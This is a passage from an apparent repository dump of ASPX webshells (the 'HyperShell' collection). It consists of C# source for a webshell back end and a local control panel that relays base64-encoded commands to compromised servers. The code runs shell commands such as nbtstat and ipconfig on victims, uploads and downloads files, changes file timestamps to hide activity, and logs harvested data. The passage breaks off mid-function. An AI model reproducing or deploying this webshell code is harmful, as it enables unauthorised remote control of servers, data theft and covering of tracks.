System.Threading.Thread.Sleep(3000);\r\n                            string[] diskTemp = new string[100];\r\n                            for (int i = 1; i <= 5; i++)\r\n                            {\r\n                                string f = string.Format(strWF, tmp, i);\r\n                                string[] lDisk = System.IO.File.ReadAllLines(f);\r\n                                exec(string.Format(strWD, f));\r\n                                for (int j = 1; j < lDisk.Length; j++)\r\n                                {\r\n                                    if (i == 1) diskTemp[j - 1] = lDisk[j];\r\n                                    else diskTemp[j - 1] += \"|\" + lDisk[j];\r\n                                }\r\n                            }\r\n                            ret = \"{\\\"dir\\\":[\";\r\n                            bool isStart = false;\r\n                            foreach (string item in diskTemp)\r\n                            {\r\n                                if (!string.IsNullOrEmpty(item))\r\n                                {\r\n                                    string[] diskInfo = item.Split('|');\r\n                                    long TotalSize = 0;\r\n                                    long TotalFreeSpace = 0;\r\n                                    long.TryParse(diskInfo[2], out TotalSize);\r\n                                    long.TryParse(diskInfo[3], out TotalFreeSpace);\r\n                                    if (isStart)\r\n                                        ret += \",\";\r\n                                    ret += string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\", diskInfo[0].TrimEnd('\\\\').TrimEnd(' ').TrimEnd(':') + \"$\", TotalSize, TotalFreeSpace, \"[\" + sizeFix(TotalFreeSpace) + \"] free of [\" + sizeFix(TotalSize) + \"]\", diskInfo[1], diskInfo[4]);\r\n                                    isStart = true;\r\n                                }\r\n                            }\r\n                            ret += \"]}\";\r\n                        } else\r\n                            ret =\"Error : Admin Username or Password is empty\";\r\n                    }\r\n                } else{\r\n                    System.IO.FileAttributes attr=System.IO.File.GetAttributes(address);\r\n                    if ((attr & System.IO.FileAttributes.Directory)==System.IO.FileAttributes.Directory){\r\n                        System.IO.DirectoryInfo dirInfo=new System.IO.DirectoryInfo(address);\r\n                        ret =\"{\"+string.Format(\"{0},{1}\",createJsonDirectory(dirInfo.GetDirectories()),createJsonFile(dirInfo.GetFiles()))+\"}\";\r\n                    }\r\n                }\r\n            }\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        return ret;\r\n    }\r\n    void exp(string exadd){string ret=\"Error : -\";ret=getDirectoryInfo(exadd);response(ret);}\r\n    bool hasErrorInGetSize=false;\r\n    int sizelvl=0;\r\n    string sizeError;\r\n    long GetDirSize(System.IO.DirectoryInfo d){long size=0;try{System.IO.FileInfo[] fis=d.GetFiles();foreach(System.IO.FileInfo fi in fis){size+=fi.Length;}sizelvl++;System.IO.DirectoryInfo[] dis=d.GetDirectories();foreach(System.IO.DirectoryInfo di in dis){size+=GetDirSize(di);}}catch(UnauthorizedAccessException ex){sizeError=\"Error : \"+ex.Message;hasErrorInGetSize=true;}return size;}\r\n    string createJsonDirectory(System.IO.DirectoryInfo[] dir){\r\n        string json=\"\\\"dir\\\":[\";\r\n        for (int i=0;i<dir.Length;i++){\r\n            if (i>0)json+=\",\";\r\n            json +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"mdate\\\":\\\"{1}\\\"}}\",dir[i].Name,dir[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));\r\n        }\r\n        json +=\"]\";\r\n        return json;\r\n    }\r\n    string createJsonFile(System.IO.FileInfo[] file){\r\n        string json=\"\\\"file\\\":[\";\r\n        for (int i=0;i<file.Length;i++){\r\n            if (i>0)json+=\",\";\r\n            json +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"size\\\":\\\"{1}\\\",\\\"mdate\\\":\\\"{2}\\\"}}\",file[i].Name,sizeFix(file[i].Length),file[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));\r\n        }\r\n        json +=\"]\";\r\n        return json;\r\n    }\r\n    string sizeFix(long size){double s=size;if(s<1024)return s+\" B\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" KB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" MB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" GB\";s=s/1024;return Math.Round(s,2)+\" TB\";}\r\n    void response(string res){Response.Clear();Response.Write(tb(res));Response.Flush();Response.SuppressContent=true;ApplicationInstance.CompleteRequest();}\r\n    void changeTime(string timeh,string tfil,string ttar,string ttim){string ret=\"Error : -\";try {if(!string.IsNullOrEmpty(tfil)){if(timeh==\"1\")ret=ti(tfil);else if(timeh==\"2\"){if(!string.IsNullOrEmpty(ttar)){System.IO.File.SetCreationTime(tfil,System.IO.File.GetCreationTime(ttar));System.IO.File.SetLastAccessTime(tfil,System.IO.File.GetLastAccessTime(ttar));System.IO.File.SetLastWriteTime(tfil,System.IO.File.GetLastWriteTime(ttar));ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}else if(timeh==\"3\"){if(!string.IsNullOrEmpty(ttim)){DateTime te=DateTime.Parse(ttim);System.IO.File.SetCreationTime(tfil,te);System.IO.File.SetLastAccessTime(tfil,te);System.IO.File.SetLastWriteTime(tfil,te);ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}}}catch(Exception e){ret=\"Error : \"+e.Message;}response(ret);}\r\n    string ti(string tt){return \"Creation Time :\\t\\t\"+System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Access Time :\\t\"+System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Write Time :\\t\"+System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");}\r\n\r\n</script>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal-Special4/HighShellLocal.aspx",
    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n<%@ Import Namespace=\"System.IO\" %>\r\n<%@ Import Namespace=\"System.Net\" %>\r\n<%@ Import Namespace=\"System.Net.Security\" %>\r\n<%@ Import Namespace=\"System.Net.Mime\" %>\r\n<%@ Import Namespace=\"System.Threading\" %>\r\n<%@ Import Namespace=\"Newtonsoft.Json\" %>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n<link href=\"js/semantic/semantic.min.css\" rel=\"stylesheet\" />\r\n<link href=\"css/main.css\" rel=\"stylesheet\" />\r\n<link href=\"js/DataTables-1.10.16/css/jquery.dataTables.min.css\" rel=\"stylesheet\" />\r\n<link href=\"js/components/downloadbox.css\" rel=\"stylesheet\" />\r\n<link href=\"js/components/networkdownloader.css\" rel=\"stylesheet\" />\r\n    <%\r\n        try\r\n        {\r\n            //InitiateSSLTrust();\r\n            Session.Timeout = 100; // 100 minute\r\n\r\n            NameValueCollection t = HttpContext.Current.Request.Form;\r\n            method selectedMethod = method.auth;\r\n\r\n            if (!string.IsNullOrEmpty(t[\"isajax\"]))\r\n                isAjax = true;\r\n\r\n            string methodStr = unpack(t[\"m\"]);\r\n            if (!string.IsNullOrEmpty(methodStr))\r\n            {\r\n                int methodID = int.Parse(methodStr);\r\n                selectedMethod = (method)methodID;\r\n\r\n                url = unpack(t[\"url\"]);\r\n\r\n                if (string.IsNullOrEmpty(url))\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"url\"] != null)\r\n                        url = fb(HttpContext.Current.Request.Cookies[\"url\"].Value);\r\n                }\r\n\r\n                string[] urlp = url.Split(';');\r\n                if (urlp.Length > 1)\r\n                {\r\n                    //url = urlp[0];\r\n                    p = urlp[1];\r\n                }\r\n\r\n                if (string.IsNullOrEmpty(p))\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"p\"] != null)\r\n                        p = fb(HttpContext.Current.Request.Cookies[\"p\"].Value);\r\n                }\r\n\r\n                if (HttpContext.Current.Request.Cookies[\"loginStyle\"] != null)\r\n                    loginStyle = fb(HttpContext.Current.Request.Cookies[\"loginStyle\"].Value);\r\n\r\n                switch (selectedMethod)\r\n                {\r\n                    case method.auth:\r\n                        auth();\r\n                        break;\r\n                    case method.localExplore:\r\n                        SpecialScript = \"$('#btnExpror').click();\";\r\n                        SpecialScript = @\"\r\nopenTab(document.getElementById('tabExp'), 'tbDir');\r\ndocument.getElementsByName('exadd')[0].value = '\" + unpack(t[\"exadd\"]).Replace(\"\\\\\", \"\\\\\\\\\") + @\"';\r\n$('#btnExpror').click();\";\r\n                        break;\r\n                    case method.command:\r\n                        command(unpack(t[\"cmd\"]));\r\n                        break;\r\n                    case method.downloadTest:\r\n                        downloadTest(t);\r\n                        break;\r\n                    case method.download:\r\n                        Thread thr = new Thread(() => download(unpack(t[\"don\"]), unpack(t[\"isdelete\"]), unpack(t[\"localPath\"]), unpack(t[\"downloadguid\"])));\r\n                        thr.Start();\r\n                        break;\r\n                    case method.checkDownloadProgress:\r\n                        checkDownloadProgress(unpack(t[\"downloadguid\"]), unpack(t[\"lastsize\"]), unpack(t[\"lasttime\"]));\r\n                        break;\r\n                    case method.upload:\r\n                        upload(HttpContext.Current.Request.Files[\"uploadFile\"], t[\"uploadPath\"], t[\"isExp\"]);\r\n                        break;\r\n                    case method.checkModules:\r\n                        checkModules();\r\n                        break;\r\n                    case method.installModule:\r\n                        installModule(unpack(t[\"mname\"]));\r\n                        break;\r\n                    case method.uninstallModule:\r\n                        uninstallModule(unpack(t[\"mname\"]));\r\n                        break;\r\n                    case method.cmd7z:\r\n                        cmd7z(unpack(t[\"7zclevel\"]), unpack(t[\"7zaddress\"]), unpack(t[\"7zfiles\"]), unpack(t[\"7zvsize\"]), unpack(t[\"7zvmode\"]), unpack(t[\"7zexclude\"]));\r\n                        break;\r\n                    case method.spycheck:\r\n                        spycheck(unpack(t[\"loc\"]));\r\n                        break;\r\n                    case method.getIPFromNbt:\r\n                        getIPFromNbt(unpack(t[\"mode\"]), unpack(t[\"input\"]));\r\n                        break;\r\n                    case method.GetLogicDrives:\r\n                        GetLogicDrives(unpack(t[\"exadd\"]), unpack(t[\"adminU\"]), unpack(t[\"adminP\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderCheck:\r\n                        NetworkDownloaderCheck(unpack(t[\"cn\"]), unpack(t[\"ip\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderLog:\r\n                        NetworkDownloaderLog(unpack(t[\"cn\"]), unpack(t[\"log\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderError:\r\n                        NetworkDownloaderError(unpack(t[\"cn\"]), unpack(t[\"error\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderDone:\r\n                        NetworkDownloaderDone(unpack(t[\"cn\"]));\r\n                        break;\r\n                    case method.NetworkDownloaderDir:\r\n                        NetworkDownloaderDir(unpack(t[\"cn\"]), unpack(t[\"filename\"]), unpack(t[\"text\"]), unpack(t[\"isappend\"]));\r\n                        break;\r\n                    case method.SaveLog:\r\n                        SaveLog(unpack(t[\"path\"]), unpack(t[\"filename\"]), unpack(t[\"content\"]));\r\n                        break;\r\n                    default:\r\n                        proxy(t);\r\n                        break;\r\n                }\r\n            }\r\n            //else\r\n            //    auth();\r\n        }\r\n        catch (Exception ex)\r\n        {\r\n            response(\"Error : \" + ex.Message);\r\n        }\r\n    %>\r\n    <script runat=\"server\">\r\n        enum method\r\n        {\r\n            auth = 0,\r\n            command = 1,\r\n            upload = 2,\r\n            uploadbase64 = 3,\r\n            delete = 4,\r\n            download = 5,\r\n            changeTime = 6,\r\n            sqlQuery = 7,\r\n            explorer = 8,\r\n            getsize = 9,\r\n            getlocation = 10,\r\n            rename = 11,\r\n            copy = 12,\r\n            view = 13,\r\n            commandAjax = 14,\r\n            downloadTest = 15,\r\n            checkModules = 16,\r\n            installModule = 17,\r\n            uninstallModule = 18,\r\n            cmd7z = 19,\r\n            authAjax = 20,\r\n            getlocationAjax = 21,\r\n            spycheck = 22,\r\n            localExplore = 23,\r\n            checkDownloadProgress = 25,\r\n            getIPFromNbt = 26,\r\n            GetLogicDrives = 27,\r\n            NetworkDownloaderCheck = 28,\r\n            NetworkDownloaderLog = 29,\r\n            NetworkDownloaderError = 30,\r\n            NetworkDownloaderDone = 31,\r\n            NetworkDownloaderDir = 32,\r\n            SaveLog = 33\r\n\r\n        };\r\n        string url, p, pro, cmd, sav, vir, nen, upb, upd, del, don, hid, tfil, ttar, ttim, baseFile, baseAddr, baseVir, baseName, sqc, sqq, exadd, adminU, adminP, cmdB, loc;\r\n        string SpecialScript, loginStyle;\r\n        string BaseAddress = @\"C:\\Users\\Public\\Libraries\\\";\r\n        string DownloadLocation = @\"C:\\Users\\Public\\Libraries\\DownloadFiles\\\";\r\n        string SpyCheckLocation = @\"C:\\Users\\Public\\Libraries\\SpyCheck\\\";\r\n        string LocationNetworkDownloader = @\"C:\\Users\\Public\\Libraries\\NetworkDownloader\\\";\r\n\r\n        //string DownloadTemp = @\"C:\\Users\\Public\\Libraries\\DownloadTemp\\\";\r\n        bool isAjax = false;\r\n        string tb(string a) { string ret = \"\"; try { ret = string.IsNullOrEmpty(a) ? a : Convert.ToBase64String(Encoding.UTF8.GetBytes(a)); } catch { } return ret; }\r\n        string fb(string a) { string ret = \"\"; try { ret = string.IsNullOrEmpty(a) ? a : Encoding.UTF8.GetString(Convert.FromBase64String(a)); } catch { } return ret; }\r\n        void proxy(NameValueCollection t)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                ret = SendRequest(url, t);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void SaveLog(string path, string filename, string content)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                File.AppendAllText(CheckDirectory(url, BaseAddress + path + \"\\\\\") + filename, content);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        string unpack(string data) { return isAjax ? fb(data) : data; }\r\n        void GetLogicDrives(string address, string adminU, string adminP)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                //if (address.ToLower().Contains(\"\\\\\\\\localhost\"))\r\n                ret = SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.explorer).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"exadd\", tb(address)},\r\n                    { \"adminU\", tb(adminU)},\r\n                    { \"adminP\", tb(adminP)}\r\n                });\r\n                //else\r\n                //{\r\n\r\n                //}\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderCheck(string computerName, string ip)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                ret = \"ok\";\r\n                if (Directory.Exists(LocationNetworkDownloader))\r\n                {\r\n                    if (string.IsNullOrEmpty(computerName))\r\n                    {\r\n                        //-+\\s+(\\S+)\r\n                        //nbtstat -a 192.168.100.16\r\n\r\n                        string nbtstat = SendRequest(url, new NameValueCollection() {\r\n                            { \"m\", tb(((int)method.command).ToString())},\r\n                            { \"p\", tb(p)},\r\n                            { \"cmd\", tb(string.Format(\"nbtstat -a {0}\",ip))}\r\n                        });\r\n\r\n                        if (nbtstat.Contains(\"Host not found\"))\r\n                        {\r\n                            ret = \"Error : Cannot find computer name from IP Address (Host not found)\";\r\n                        }\r\n                        else\r\n                        {\r\n                            Regex reg = new Regex(@\"-+\\s+(\\S+)\");\r\n                            MatchCollection regResult = reg.Matches(nbtstat);\r\n                            if (regResult.Count > 0)\r\n                            {\r\n                                computerName = regResult[0].Groups[1].Value;\r\n                            }\r\n                            else\r\n                            {\r\n                                ret = \"Error : Cannot find computer name from IP Address (\" + nbtstat + \")\";\r\n                            }\r\n                        }\r\n                    }\r\n\r\n                    if (!string.IsNullOrEmpty(computerName))\r\n                    {\r\n\r\n                        string targetPathIP = CheckDirectory(url, LocationNetworkDownloader) + ip.TrimStart('\\\\') + \"\\\\\";\r\n                        string targetPathCN = CheckDirectory(url, LocationNetworkDownloader) + computerName + \"\\\\\";\r\n                        if (Directory.Exists(targetPathCN))\r\n                        {\r\n                            if (Directory.Exists(targetPathIP))\r\n                                Directory.Move(targetPathIP, targetPathCN + ip.TrimStart('\\\\'));\r\n                        }\r\n                        else if (Directory.Exists(targetPathIP))\r\n                            Directory.Move(targetPathIP, targetPathCN);\r\n                        else\r\n                            Directory.CreateDirectory(targetPathCN);\r\n\r\n                        if (File.Exists(targetPathCN + \"address.txt\"))\r\n                            ret = File.ReadAllText(targetPathCN + \"address.txt\");\r\n\r\n                        //if (File.Exists(targetPathCN + \"done.txt\"))\r\n                        //    ret = \"done|\" + File.ReadAllText(targetPathCN + \"done.txt\");\r\n                        //else if (File.Exists(targetPathCN + \"error.txt\"))\r\n                        //    ret = \"error|\" + File.ReadAllText(targetPathCN + \"error.txt\");\r\n\r\n                        File.AppendAllText(targetPathCN + \"ip.txt\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\") + \" : \" + ip + Environment.NewLine);\r\n                    }\r\n                    else\r\n                        ret = \"cnerror|cannot get the computer name\";\r\n                }\r\n                else\r\n                    Directory.CreateDirectory(LocationNetworkDownloader);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderLog(string cn, string log)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n                File.AppendAllText(targetPath + \"log.txt\", string.Format(\"---------------------------------------------------------------------\\r\\n[{0}]\\r\\n{1}\\r\\n\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\"), log));\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderError(string cn, string error)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n                File.AppendAllText(targetPath + \"error.txt\", string.Format(\"---------------------------------------------------------------------\\r\\n[{0}]\\r\\n{1}\\r\\n\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\"), error));\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderDone(string cn)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n                File.AppendAllText(targetPath + \"done.txt\", DateTime.Now.ToString(\"yyyy-MM-dd HH:mm:ss\") + Environment.NewLine);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void NetworkDownloaderDir(string cn, string filename, string text, string isappend)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string targetPath = CheckDirectory(url, LocationNetworkDownloader) + cn + \"\\\\\";\r\n                if (isappend.ToLower() == \"true\")\r\n                    File.AppendAllText(targetPath + filename + \".txt\", text);\r\n                else\r\n                    File.WriteAllText(targetPath + filename + \".txt\", text);\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void upload(HttpPostedFile uploadFile, string uploadPath, string isExp)\r\n        {\r\n            string ret = string.Empty;\r\n            try\r\n            {\r\n                if (uploadFile != null && uploadFile.ContentLength > 0)\r\n                {\r\n                    ret = SendFile(uploadFile, uploadPath);\r\n                    if (!string.IsNullOrEmpty(isExp))\r\n                    {\r\n                        SpecialScript = @\"\r\nopenTab(document.getElementById('tabExp'), 'tbDir');\r\ndocument.getElementsByName('exadd')[0].value = '\" + uploadPath.Replace(\"\\\\\", \"\\\\\\\\\") + @\"';\r\ndocument.getElementById('btnExpror').click();\";\r\n                    }\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            response(ret);\r\n        }\r\n        public string UploadFile(Stream fStream, string fileName, string dataName, List<KeyValuePair<string, string>> formData)\r\n        {\r\n            HttpWebRequest requestToServerEndpoint = (HttpWebRequest)WebRequest.Create(url);\r\n            string boundaryString = \"----sdfERASDGsdf342GA\";\r\n\r\n            requestToServerEndpoint.Method = WebRequestMethods.Http.Post;\r\n            requestToServerEndpoint.ContentType = \"multipart/form-data; boundary=\" + boundaryString;\r\n            requestToServerEndpoint.KeepAlive = true;\r\n            requestToServerEndpoint.Credentials = System.Net.CredentialCache.DefaultCredentials;\r\n\r\n            MemoryStream postDataStream = new MemoryStream();\r\n            StreamWriter postDataWriter = new StreamWriter(postDataStream);\r\n\r\n            foreach (var item in formData)\r\n            {\r\n                postDataWriter.Write(\"\\r\\n--\" + boundaryString + \"\\r\\n\");\r\n                postDataWriter.Write(\"Content-Disposition: form-data; name=\\\"{0}\\\"\\r\\n\\r\\n{1}\",\r\n                item.Key,\r\n                tb(item.Value));\r\n            }\r\n\r\n            postDataWriter.Write(\"\\r\\n--\" + boundaryString + \"\\r\\n\");\r\n            postDataWriter.Write(\"Content-Disposition: form-data;\"\r\n            + \"name=\\\"{0}\\\";\"\r\n            + \"filename=\\\"{1}\\\"\"\r\n            + \"\\r\\nContent-Type: multipart/form-data\\r\\n\\r\\n\",\r\n            dataName,\r\n            fileName);\r\n            postDataWriter.Flush();\r\n\r\n            Stream fileStream = fStream;\r\n            byte[] buffer = new byte[1024];\r\n            int bytesRead = 0;\r\n            while ((bytesRead = fileStream.Read(buffer, 0, buffer.Length)) != 0)\r\n            {\r\n                postDataStream.Write(buffer, 0, bytesRead);\r\n            }\r\n            fileStream.Close();\r\n\r\n            postDataWriter.Write(\"\\r\\n--\" + boundaryString + \"--\\r\\n\");\r\n            postDataWriter.Flush();\r\n\r\n            requestToServerEndpoint.ContentLength = postDataStream.Length;\r\n\r\n            using (Stream s = requestToServerEndpoint.GetRequestStream())\r\n            {\r\n                postDataStream.WriteTo(s);\r\n            }\r\n            postDataStream.Close();\r\n\r\n            WebResponse response = requestToServerEndpoint.GetResponse();\r\n            StreamReader responseReader = new StreamReader(response.GetResponseStream());\r\n            string replyFromServer = responseReader.ReadToEnd();\r\n\r\n            return fb(replyFromServer);\r\n        }\r\n        public string SendFile(HttpPostedFile uploadFile, string uploadPath)\r\n        {\r\n            List<KeyValuePair<string, string>> formData = new List<KeyValuePair<string, string>>();\r\n            formData.Add(new KeyValuePair<string, string>(\"uploadPath\", uploadPath));\r\n            formData.Add(new KeyValuePair<string, string>(\"m\", ((int)method.upload).ToString()));\r\n            formData.Add(new KeyValuePair<string, string>(\"p\", p));\r\n\r\n            return UploadFile(uploadFile.InputStream, uploadFile.FileName, \"uploadFile\", formData);\r\n        }\r\n        void auth()\r\n        {\r\n            string ret = string.Empty;\r\n            try\r\n            {\r\n                if (string.IsNullOrEmpty(p))\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"p\"] != null)\r\n                        p = fb(HttpContext.Current.Request.Cookies[\"p\"].Value);\r\n                }\r\n                else\r\n                {\r\n                    HttpCookie coo = new HttpCookie(\"p\", tb(p));\r\n                    coo.Expires = DateTime.Now.AddDays(1);\r\n                    HttpContext.Current.Response.SetCookie(coo);\r\n                }\r\n\r\n                if (string.IsNullOrEmpty(url))\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"url\"] != null)\r\n                        url = fb(HttpContext.Current.Request.Cookies[\"url\"].Value);\r\n                }\r\n                else\r\n                {\r\n                    HttpCookie coo = new HttpCookie(\"url\", tb(url));\r\n                    coo.Expires = DateTime.Now.AddDays(1);\r\n                    HttpContext.Current.Response.SetCookie(coo);\r\n                }\r\n\r\n                if (!string.IsNullOrEmpty(p) && !string.IsNullOrEmpty(url))\r\n                {\r\n\r\n                    SpecialScript = \"$('#btnLogin').click();\";\r\n\r\n                    //string HtmlResult = SendRequest(url, new NameValueCollection() {\r\n                    //        { \"m\", ((int)method.auth).ToString()},\r\n                    //        { \"p\", p}\r\n                    //    });\r\n\r\n                    //if (HtmlResult == \"True\")\r\n                    //{\r\n                    //    ret = \"Login successful\" + Environment.NewLine;\r\n                    //    loginStyle = \"login\";\r\n                    //    getLoc();\r\n                    //    SpecialScript = \"document.getElementById('chkModules').click();\";\r\n                    //}\r\n                    //else\r\n                    //{\r\n                    //    ret = \"Login failed\" + Environment.NewLine;\r\n                    //    loginStyle = \"logout\";\r\n                    //}\r\n\r\n                    //HttpCookie coo = new HttpCookie(\"loginStyle\", tb(loginStyle));\r\n                    //coo.Expires = DateTime.Now.AddDays(1);\r\n                    //HttpContext.Current.Response.SetCookie(coo);\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n\r\n            response(ret);\r\n        }\r\n        void response(string res)\r\n        {\r\n            log.InnerHtml = res;\r\n        }\r\n        void responseAjax(string res)\r\n        {\r\n            Response.Clear();\r\n            Response.Write(tb(res));\r\n            Response.Flush();\r\n            Response.SuppressContent = true;\r\n            ApplicationInstance.CompleteRequest();\r\n        }\r\n        void getLoc()\r\n        {\r\n            loc = SendRequest(url, new NameValueCollection() {\r\n                { \"m\", ((int)method.getlocation).ToString()},\r\n                { \"p\", p}\r\n            });\r\n        }\r\n        void spycheck(string location)\r\n        {\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                string[] parts1 = url.Split('/');\r\n                string filename = location + parts1[parts1.Length - 1].Split('?')[0];\r\n                if (!filename.EndsWith(\".aspx\"))\r\n                    filename += \".aspx\";\r\n                string filetext = SendRequest(url, new NameValueCollection() {\r\n                    { \"m\", tb(((int)method.command).ToString())},\r\n                    { \"p\", tb(p)},\r\n                    { \"cmd\", tb(string.Format(\"type \\\"{0}\\\"\",filename))}\r\n                });\r\n                filetext = filetext.Remove(0, filetext.IndexOf(Environment.NewLine) + 2);\r\n                filetext = filetext.Remove(0, filetext.IndexOf(Environment.NewLine) + 2);\r\n                filetext = filetext.Substring(filetext.IndexOf(\"&lt;%@\"));\r\n                byte[] fbytes = Encoding.UTF8.GetBytes(filetext);\r\n                string fHash = Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(fbytes));\r\n                if (\"bONkXxXsedVunorzr62ujs3MsbBKngy6TEpVTtPYIIY=\" == fHash)\r\n                    ret = \"True\";\r\n                else\r\n                {\r\n                    ret = \"False\";\r\n\r\n                    Uri myUri = new Uri(url);\r\n                    string host = myUri.Host;\r\n\r\n                    string path = SpyCheckLocation + host + \"\\\\\";\r\n\r\n                    if (!Directory.Exists(path))\r\n                        Directory.CreateDirectory(path);\r\n\r\n                    File.WriteAllText(path + Path.GetFileNameWithoutExtension(myUri.AbsolutePath) + \"_\" + DateTime.Now.ToString(\"yyyy-MM-dd-HH-mm-ss\") + Path.GetExtension(myUri.AbsolutePath), HttpUtility.HtmlDecode(filetext));\r\n                }\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                ret = \"Error : \" + e.Message;\r\n            }\r\n            responseAjax(ret);\r\n        }\r\n        void command(string cmd)\r\n        {\r\n            SpecialScript = @\"\r\n$('#inpCmd').val(b64DecodeUnicode('\" + tb(cmd) + @\"'));\r\ncommand($('#inpCmd').get(0));\";\r\n        }\r\n        private string CheckDirectory(string url, string dirPath)\r\n        {\r\n            string newPath = string.Empty;\r\n\r\n            if (!dirPath.EndsWith(\"\\\\\"))\r\n                dirPath += \"\\\\\";\r\n\r\n            Uri myUri = new Uri(url);\r\n            string host = myUri.Host;\r\n\r\n            newPath = dirPath + host + \"\\\\\";\r\n\r\n            if (!Directory.Exists(newPath))\r\n                Directory.CreateDirectory(newPath);\r\n\r\n            //if (!Directory.Exists(DownloadTemp))\r\n            //    Directory.CreateDirectory(DownloadTemp);\r\n\r\n            return newPath;\r\n        }\r\n        class NbtComputer\r\n        {\r\n            public string IP { get; set; }\r\n            public string Domain { get; set; }\r\n            public string ComputerName { get; set; }\r\n            public List<string> Props { get; set; }\r\n            public string Mac { get; set; }\r\n            public string FullDomain { get; set; }\r\n        }\r\n        class NbtResult\r\n        {\r\n            public string Log { get; set; }\r\n            public List<NbtComputer> NbtComputers { get; set; }\r\n        }\r\n        private void getIPFromNbt(string mode, string input)\r\n        {\r\n            NbtResult nbtresult = new NbtResult();\r\n            nbtresult.NbtComputers = new List<NbtComputer>();\r\n            string ret = \"Error : -\";\r\n            try\r\n            {\r\n                List<string> IPs = new List<string>();\r\n\r\n                if (mode == \"ipconfig\")\r\n                {\r\n                    string ipconfig = SendRequest(url, new NameValueCollection() {\r\n                        { \"m\", tb(((int)method.command).ToString())},\r\n                        { \"p\", tb(p)},\r\n                        { \"cmd\", tb(string.Format(\"ipconfig /all 2>&1\"))}\r\n                    });\r\n\r\n                    Regex rxIPconfig = new Regex(@\"(IPv4 Address)[\\.\\s]+:\\s(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\");\r\n                    foreach (Match match in rxIPconfig.Matches(ipconfig))\r\n                    {\r\n                        IPs.Add(match.Groups[2].Value + \"/24\");\r\n                    }\r\n\r\n                    //nbtresult.Log = \"IPs that gatter from ipconfig /all :\" + Environment.NewLine;\r\n                }\r\n                else\r\n                {\r\n                    string[] tempSplit = input.Split(',');\r\n                    foreach (string item in tempSplit)\r\n                    {\r\n                        